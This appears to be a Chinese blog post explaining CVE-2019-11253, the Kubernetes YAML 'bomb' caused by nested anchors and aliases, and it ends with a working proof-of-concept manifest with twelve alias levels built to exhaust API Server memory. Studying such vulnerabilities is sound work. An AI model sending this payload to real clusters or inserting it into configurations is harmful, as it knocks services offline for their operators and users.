CVE-2019-11253:YMAL炸弹

前置知识

1. YAML 是什么

一种配置文件格式,Kubernetes 的资源清单(Pod、Deployment 等)常用它编写。

2. 锚点 &name:给内容起名

&名字 给一段内容打标记,相当于“存起来备用”。

defaults: &default_settings
  cpu: "500m"
  memory: "256Mi"

3. 别名 *name:引用已命名的内容

*名字 引用之前定义的锚点内容。(别名调用锚点)

container1:
  <<: *default_settings
  image: nginx

4. 展开:解析时复制内容

YAML 解析器读到 *default_settings,会把锚点定义的那段内容复制过来,替换掉别名。
解析后,内存里是完整数据,不再有引用。

5. 嵌套与指数膨胀

锚点可以引用另一个锚点,别名可以层层嵌套。

a: &a [x,x,x,x,x,x,x,x,x]          # 9 个
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a] # 9×9 = 81 个
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b] # 9×81 = 729 个

每加一层,元素数量乘 9。加到第 10 层,就是 9¹⁰ ≈ 35 亿个元素。
一个几 KB 的 YAML,解析后能膨胀到几 GB 内存。

漏洞原理

YAML 解析器支持锚点和别名,攻击者构造一个深层嵌套的 YAML,解析时会指数级递归展开,瞬间耗尽 CPU 和内存,把 API Server 打崩

POC

apiVersion: authorization.k8s.io/v1
kind: SelfSubjectAccessReview
metadata:
  name: yaml-dos
  namespace: default
data:
  a: &a ["HONK","HONK","HONK","HONK","HONK","HONK","HONK","HONK","HONK"]
  b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
  c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
  d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
  e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
  f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
  g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
  h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
  i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
  j: &j [*i,*i,*i,*i,*i,*i,*i,*i,*i]
  k: &k [*j,*j,*j,*j,*j,*j,*j,*j,*j]
  l: &l [*k,*k,*k,*k,*k,*k,*k,*k,*k]

复现比较麻烦,虚拟机卡死好几次了,就弄个poc了

标签: none

添加新评论

邮箱仅用于识别回复,不会在页面公开。提交后请等待页面确认结果。

文章图片预览